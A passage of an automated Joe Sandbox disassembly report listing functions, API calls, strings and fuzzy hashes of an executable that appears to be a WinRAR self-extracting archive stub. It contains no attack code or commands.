Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c3f9089be966249862bf56ce032710d6eb03eb50aa34be6e58aa05575d530c2
Instruction ID: 5e4258a9ce81ef1b048c98820c4eb5252ea7f564bd65706c64b5bc9281db599e
Opcode Fuzzy Hash: 8c3f9089be966249862bf56ce032710d6eb03eb50aa34be6e58aa05575d530c2
Instruction Fuzzy Hash: 9EB1BFA2B04B8952DF58DA6695087FDA791BB95FC4F488036EE2D87781EF3CE159C300

Function 00007FF6FE194928 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID:
API String ID: 3340455307-0
Opcode ID: b898a5790bc13ce9467efc73a41fb0efef5aff7df3bcc575331cae3ab7ee1eec
Instruction ID: 4999e7b9d743b2c2a3c4cb620f20def4a12992c89a3a5940bc413689d39459e4
Opcode Fuzzy Hash: b898a5790bc13ce9467efc73a41fb0efef5aff7df3bcc575331cae3ab7ee1eec
Instruction Fuzzy Hash: 9741E522F1566686FB64DE23E99076E2A52BBD4788F044030EE5E877D8EE3CE456C704

Function 00007FF6FE19DFD0 Relevance: 143.9, APIs: 16, Strings: 66, Instructions: 440
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(?,?,?,00000000,?), ref: 00007FF6FE19E018
GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF6FE19E030
GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF6FE19E05D
CreateFileW.KERNEL32 ref: 00007FF6FE19E3F0
SetFilePointer.KERNEL32 ref: 00007FF6FE19E40E
ReadFile.KERNEL32 ref: 00007FF6FE19E436

Part of subcall function 00007FF6FE19DFD0: GetSystemDirectoryW.KERNEL32 ref: 00007FF6FE19DDDF

CompareStringW.KERNELBASE ref: 00007FF6FE19E559
CloseHandle.KERNEL32 ref: 00007FF6FE19E4F3

Part of subcall function 00007FF6FE181FA0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE181FFB

Part of subcall function 00007FF6FE1951A4: GetVersionExW.KERNEL32 ref: 00007FF6FE1951D5

Part of subcall function 00007FF6FE19DFD0: LoadLibraryExW.KERNELBASE ref: 00007FF6FE19DEFF
Part of subcall function 00007FF6FE19DFD0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE19DFB5
Part of subcall function 00007FF6FE19DFD0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE19DFBB
Part of subcall function 00007FF6FE19DFD0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE19DFC1
Part of subcall function 00007FF6FE19DFD0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE19DFC7

AllocConsole.KERNEL32(?,?,?,00000000,?), ref: 00007FF6FE19E74B
GetCurrentProcessId.KERNEL32(?,?,?,00000000,?), ref: 00007FF6FE19E755
AttachConsole.KERNEL32(?,?,?,00000000,?), ref: 00007FF6FE19E75D
GetStdHandle.KERNEL32(?,?,?,00000000,?), ref: 00007FF6FE19E780
WriteConsoleW.KERNEL32(?,?,?,00000000,?), ref: 00007FF6FE19E799
Sleep.KERNEL32(?,?,?,00000000,?), ref: 00007FF6FE19E7A4
FreeConsole.KERNEL32(?,?,?,00000000,?), ref: 00007FF6FE19E7AA
ExitProcess.KERNEL32 ref: 00007FF6FE19E7BB

Strings

imageres.dll, xrefs: 00007FF6FE19E24B
propsys.dll, xrefs: 00007FF6FE19E2AD
dfscli.dll, xrefs: 00007FF6FE19E2F3
netutils.dll, xrefs: 00007FF6FE19E283
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00007FF6FE19E73B
profapi.dll, xrefs: 00007FF6FE19E205
SetDllDirectoryW, xrefs: 00007FF6FE19E026
slc.dll, xrefs: 00007FF6FE19E23D
SetDefaultDllDirectories, xrefs: 00007FF6FE19E053
lpk.dll, xrefs: 00007FF6FE19E0D3
dnsapi.DLL, xrefs: 00007FF6FE19E259
cscapi.dll, xrefs: 00007FF6FE19E22F
uxtheme.dll, xrefs: 00007FF6FE19E66D
ieframe.dll, xrefs: 00007FF6FE19E120
oleaccrc.dll, xrefs: 00007FF6FE19E1E9
version.dll, xrefs: 00007FF6FE19E07B
UXTheme.dll, xrefs: 00007FF6FE19E0B2
wintrust.dll, xrefs: 00007FF6FE19E1B1
kernel32, xrefs: 00007FF6FE19E011
mlang.dll, xrefs: 00007FF6FE19E2BB
RpcRtRemote.dll, xrefs: 00007FF6FE19E363
userenv.dll, xrefs: 00007FF6FE19E15D
usp10.dll, xrefs: 00007FF6FE19E0DE
secur32.dll, xrefs: 00007FF6FE19E1CD
comres.dll, xrefs: 00007FF6FE19E0F4
dwmapi.dll, xrefs: 00007FF6FE19E0BD, 00007FF6FE19E661
srvcli.dll, xrefs: 00007FF6FE19E221
rasadhlp.dll, xrefs: 00007FF6FE19E30F
mpr.dll, xrefs: 00007FF6FE19E291
ws2_32.dll, xrefs: 00007FF6FE19E0FF
setupapi.dll, xrefs: 00007FF6FE19E141
cryptsp.dll, xrefs: 00007FF6FE19E355
apphelp.dll, xrefs: 00007FF6FE19E14F
cabinet.dll, xrefs: 00007FF6FE19E1DB
linkinfo.dll, xrefs: 00007FF6FE19E347
DXGIDebug.dll, xrefs: 00007FF6FE19E086, 00007FF6FE19E5B6
crypt32.dll, xrefs: 00007FF6FE19E187
samcli.dll, xrefs: 00007FF6FE19E2C9
msasn1.dll, xrefs: 00007FF6FE19E195
shell32.dll, xrefs: 00007FF6FE19E1BF
dhcpcsvc6.dll, xrefs: 00007FF6FE19E31D
WindowsCodecs.dll, xrefs: 00007FF6FE19E213
rsaenh.dll, xrefs: 00007FF6FE19E0A7
cryptui.dll, xrefs: 00007FF6FE19E1A3
clbcatq.dll, xrefs: 00007FF6FE19E0E9
dhcpcsvc.dll, xrefs: 00007FF6FE19E32B
devrtl.dll, xrefs: 00007FF6FE19E29F
browcli.dll, xrefs: 00007FF6FE19E301
aclui.dll, xrefs: 00007FF6FE19E371
psapi.dll, xrefs: 00007FF6FE19E115
peerdist.dll, xrefs: 00007FF6FE19E38D
samlib.dll, xrefs: 00007FF6FE19E2D7
shdocvw.dll, xrefs: 00007FF6FE19E179
ws2help.dll, xrefs: 00007FF6FE19E10A
WINNSI.DLL, xrefs: 00007FF6FE19E275
iphlpapi.DLL, xrefs: 00007FF6FE19E267
ntshrui.dll, xrefs: 00007FF6FE19E12B
wkscli.dll, xrefs: 00007FF6FE19E2E5
atl.dll, xrefs: 00007FF6FE19E136
netapi32.dll, xrefs: 00007FF6FE19E16B
XmlLite.dll, xrefs: 00007FF6FE19E339
cryptbase.dll, xrefs: 00007FF6FE19E0C8
dsrole.dll, xrefs: 00007FF6FE19E37F
ntmarta.dll, xrefs: 00007FF6FE19E1F7
SSPICLI.DLL, xrefs: 00007FF6FE19E09C
sfc_os.dll, xrefs: 00007FF6FE19E091

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Console$FileHandle$AddressProcProcess$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadModulePointerReadSleepStringSystemVersionWrite
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$RpcRtRemote.dll$SSPICLI.DLL$SetDefaultDllDirectories$SetDllDirectoryW$UXTheme.dll$WINNSI.DLL$WindowsCodecs.dll$XmlLite.dll$aclui.dll$apphelp.dll$atl.dll$browcli.dll$cabinet.dll$clbcatq.dll$comres.dll$crypt32.dll$cryptbase.dll$cryptsp.dll$cryptui.dll$cscapi.dll$devrtl.dll$dfscli.dll$dhcpcsvc.dll$dhcpcsvc6.dll$dnsapi.DLL$dsrole.dll$dwmapi.dll$ieframe.dll$imageres.dll$iphlpapi.DLL$kernel32$linkinfo.dll$lpk.dll$mlang.dll$mpr.dll$msasn1.dll$netapi32.dll$netutils.dll$ntmarta.dll$ntshrui.dll$oleaccrc.dll$peerdist.dll$profapi.dll$propsys.dll$psapi.dll$rasadhlp.dll$rsaenh.dll$samcli.dll$samlib.dll$secur32.dll$setupapi.dll$sfc_os.dll$shdocvw.dll$shell32.dll$slc.dll$srvcli.dll$userenv.dll$usp10.dll$uxtheme.dll$version.dll$wintrust.dll$wkscli.dll$ws2_32.dll$ws2help.dll
API String ID: 1496594111-2013832382
Opcode ID: 468c4a7f069b7598ff125167d5f4f846522f64d48354b40e84144950afa66450
Instruction ID: 1f20a0cf61f1a2ed900ce10f2bf4b256339a6ad55362259f5a4294d328ef3cad
Opcode Fuzzy Hash: 468c4a7f069b7598ff125167d5f4f846522f64d48354b40e84144950afa66450
Instruction Fuzzy Hash: 9C32FA35E09B8299EB11DF66E8801E937A4FFA4354F500236EA6D867A9FF3CD255C340

Function 00007FF6FE1998DC Relevance: 25.2, APIs: 3, Strings: 11, Instructions: 702COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FE198E58: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6FE198F8D

_snwprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6FE199F75
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE19A42F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE19A435

Part of subcall function 00007FF6FE1A0BBC: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF6FE1A0B44), ref: 00007FF6FE1A0BE9

Strings

DIRECTION, xrefs: 00007FF6FE199DE5
@%s:, xrefs: 00007FF6FE199F57
*messages***, xrefs: 00007FF6FE199BC6
*messages***, xrefs: 00007FF6FE199C04
RTL, xrefs: 00007FF6FE199F2E
MENU, xrefs: 00007FF6FE199DD9
DIALOG, xrefs: 00007FF6FE199DCD
,, xrefs: 00007FF6FE199FAA
$%s:, xrefs: 00007FF6FE199F50
STRINGS, xrefs: 00007FF6FE199DC1
, xrefs: 00007FF6FE199DF9

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ByteCharConcurrency::cancel_current_taskMultiWide_snwprintf
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$DIALOG$DIRECTION$MENU$RTL$STRINGS
API String ID: 3629253777-3268106645
Opcode ID: 137a8823fd4522e36ba74be14e40dc9d8de557d7e1016f60fbe5fb59c02e5768
Instruction ID: 38a935dc60006b9bd097c48db63c4cbded262daed61f1a1d4eb0ea9530f7754c
Opcode Fuzzy Hash: 137a8823fd4522e36ba74be14e40dc9d8de557d7e1016f60fbe5fb59c02e5768
Instruction Fuzzy Hash: 1A629F22F1968295EB10DB26D4442BD7B65FBA4784F804231FA6E876E9FF3CE549C340

Function 00007FF6FE1B1900 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 195
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6FE1B1558: DloadProtectSection.DELAYIMP ref: 00007FF6FE1B15C9

RaiseException.KERNEL32 ref: 00007FF6FE1B19A7
DloadReleaseSectionWriteAccess.DELAYIMP ref: 00007FF6FE1B1993

Part of subcall function 00007FF6FE1B1868: DloadProtectSection.DELAYIMP ref: 00007FF6FE1B18C7

LoadLibraryExA.KERNELBASE ref: 00007FF6FE1B1A46
GetLastError.KERNEL32 ref: 00007FF6FE1B1A54
DloadReleaseSectionWriteAccess.DELAYIMP ref: 00007FF6FE1B1A86
RaiseException.KERNEL32 ref: 00007FF6FE1B1A9A

Strings

H, xrefs: 00007FF6FE1B1974

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: DloadSection$AccessExceptionProtectRaiseReleaseWrite$ErrorLastLibraryLoad
String ID: H
API String ID: 3432403771-2852464175
Opcode ID: cf3fc932a6b7fb7fc9ef8320b4dd67bfc8d7ec91281715f792326570f1d4a57f
Instruction ID: 4f1ade378998ee1fcaaaafe619b67ae18bb804e9013172906a4e28ec393246d7
Opcode Fuzzy Hash: cf3fc932a6b7fb7fc9ef8320b4dd67bfc8d7ec91281715f792326570f1d4a57f
Instruction Fuzzy Hash: 28914C22F15B618AFB10CF66D9806AC37B5BB98B98B454436EE2D97794FF38E445C300

Function 00007FF6FE1AF4E0 Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 285
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExW.SHELL32 ref: 00007FF6FE1AF747
ShowWindow.USER32 ref: 00007FF6FE1AF786
GetExitCodeProcess.KERNEL32 ref: 00007FF6FE1AF7BD
CloseHandle.KERNEL32 ref: 00007FF6FE1AF7E7
ShowWindow.USER32 ref: 00007FF6FE1AF83F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1AF8FB

Strings

Install, xrefs: 00007FF6FE1AF684
.exe, xrefs: 00007FF6FE1AF7F2
.inf, xrefs: 00007FF6FE1AF675
p, xrefs: 00007FF6FE1AF529

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: ShowWindow$CloseCodeExecuteExitHandleProcessShell_invalid_parameter_noinfo_noreturn
String ID: .exe$.inf$Install$p
API String ID: 1054546013-3607691742
Opcode ID: db8ecbd514ff322f29a974296a08b1056670a56b0f2c036ad5285174391dee78
Instruction ID: 0ddc5047bde74e7120ae0eb628d826ebee3245187aa46fa1ab23244735e78f70
Opcode Fuzzy Hash: db8ecbd514ff322f29a974296a08b1056670a56b0f2c036ad5285174391dee78
Instruction Fuzzy Hash: 16C17162F49A0295FB10DB67D9442792B61BFE9B84F044035EA6D87AE5FF3CE499C300

Function 00007FF6FE1AF0A4 Relevance: 16.6, APIs: 11, Instructions: 102
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6FE1AAE1C: PeekMessageW.USER32 ref: 00007FF6FE1AAE32
Part of subcall function 00007FF6FE1AAE1C: GetMessageW.USER32 ref: 00007FF6FE1AAE49
Part of subcall function 00007FF6FE1AAE1C: IsDialogMessageW.USER32 ref: 00007FF6FE1AAE60
Part of subcall function 00007FF6FE1AAE1C: TranslateMessage.USER32 ref: 00007FF6FE1AAE6F
Part of subcall function 00007FF6FE1AAE1C: DispatchMessageW.USER32 ref: 00007FF6FE1AAE7A

GetDlgItem.USER32 ref: 00007FF6FE1AF0E3
ShowWindow.USER32 ref: 00007FF6FE1AF109
SendMessageW.USER32 ref: 00007FF6FE1AF11E
SendMessageW.USER32 ref: 00007FF6FE1AF136
SendMessageW.USER32 ref: 00007FF6FE1AF157
SendMessageW.USER32 ref: 00007FF6FE1AF173
SendMessageW.USER32 ref: 00007FF6FE1AF1B6
SendMessageW.USER32 ref: 00007FF6FE1AF1D4
SendMessageW.USER32 ref: 00007FF6FE1AF1E8
SendMessageW.USER32 ref: 00007FF6FE1AF212
SendMessageW.USER32 ref: 00007FF6FE1AF22A

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID:
API String ID: 3569833718-0
Opcode ID: 6d17268858d6b6aed380ad60cc2cf8b16547cb3a0c40a3112c59011326a33119
Instruction ID: 9bcdc544271fbbfaf71c1924875d6759b058df915a3b9a48f7d6dd9db92b1025
Opcode Fuzzy Hash: 6d17268858d6b6aed380ad60cc2cf8b16547cb3a0c40a3112c59011326a33119
Instruction Fuzzy Hash: 37418B21F14A4286F710CF62E810BAA2BA0EBD9B98F441135FD2A87FD5DE7DE4498744

Function 00007FF6FE1AA440 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6FE18129C: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6FE181396

Part of subcall function 00007FF6FE1AA834: RegOpenKeyExW.ADVAPI32 ref: 00007FF6FE1AA877

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1AA72F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1AA735
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1AA73B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1AA741
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1AA747
EndDialog.USER32 ref: 00007FF6FE1AA7BA

Strings

Software\WinRAR SFX, xrefs: 00007FF6FE1AA52B, 00007FF6FE1AA53A
GETPASSWORD1, xrefs: 00007FF6FE1AA773

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_taskDialogOpen
String ID: GETPASSWORD1$Software\WinRAR SFX
API String ID: 2300675366-1315819833
Opcode ID: 492748e4b920a0caf0e9a60e4b7f93ee9a00f1d6e92b46c97eb4ea70364b9bd5
Instruction ID: 7547198be0ae91e6d9f90c7cc4c3e84c0ed6080d099bfe51f907b0c43f882e80
Opcode Fuzzy Hash: 492748e4b920a0caf0e9a60e4b7f93ee9a00f1d6e92b46c97eb4ea70364b9bd5
Instruction Fuzzy Hash: BBB1CF62F5974285FB00DBA6D4442BD2762ABE5794F404335EA2DA7BD9FE3CE14AC300

Function 00007FF6FE18EF10 Relevance: 11.0, APIs: 7, Instructions: 453COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18F542
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18F548
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18F554
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18F55A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18F560
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18F56C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18F572

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 6469fcd7a18d79184505e1ddd466699231e2121c09bb10067de1f33c8494aa65
Instruction ID: 9a520f9b3a5fb1afe74692457ebf1eed78ee5a8ca9caba340cf9d3859897a41f
Opcode Fuzzy Hash: 6469fcd7a18d79184505e1ddd466699231e2121c09bb10067de1f33c8494aa65
Instruction Fuzzy Hash: 4712B562F1C74584EB10CB66D4442AD2762EBE97A8F400232EE6D97BD9EF3CD649C300

Function 00007FF6FE1924C0 Relevance: 9.2, APIs: 6, Instructions: 164
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FF6FE19259B
GetLastError.KERNEL32 ref: 00007FF6FE1925AE
CreateFileW.KERNEL32 ref: 00007FF6FE19260E
GetLastError.KERNEL32 ref: 00007FF6FE192617
SetFileTime.KERNEL32 ref: 00007FF6FE1926C9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE192736

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: File$CreateErrorLast$Time_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3536497005-0
Opcode ID: 731a06aeb1aeb45fbab96b045eb79c55c759261894fecd14d272f4e3d7f6f85d
Instruction ID: 95e3f35a4e0268eacb1fa4e67d85726d6f9719c1a6511907a696b505c57bb228
Opcode Fuzzy Hash: 731a06aeb1aeb45fbab96b045eb79c55c759261894fecd14d272f4e3d7f6f85d
Instruction Fuzzy Hash: 1261A166E1864185F720CB2AF54036E6BA1BBD57A8F101334EEB983AD8EF3DD059C744

Function 00007FF6FE1AFA80 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 82
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.ADVAPI32 ref: 00007FF6FE1AFB20
RegSetValueExW.ADVAPI32 ref: 00007FF6FE1AFB65
RegCloseKey.ADVAPI32 ref: 00007FF6FE1AFB6F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1AFBD3

Strings

Software\WinRAR SFX, xrefs: 00007FF6FE1AFB12

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: CloseCreateValue_invalid_parameter_noinfo_noreturn
String ID: Software\WinRAR SFX
API String ID: 207320342-754673328
Opcode ID: 8ab1c68a47c8c2e508d57e535803f187fdd9f05ec423ba246173c715412dd5f9
Instruction ID: dad360b300e5b0ae275339332f9b7596f08e86d2b973cac42b2e4063a4c648e8
Opcode Fuzzy Hash: 8ab1c68a47c8c2e508d57e535803f187fdd9f05ec423ba246173c715412dd5f9
Instruction Fuzzy Hash: 20414672E04A4589EB20CF26E4546A937A5FBD8798F401635FA6D83BD8EF7CD158C700

Function 00007FF6FE1AB014 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadBitmapW.USER32 ref: 00007FF6FE1AB02A
GetObjectW.GDI32 ref: 00007FF6FE1AB05B
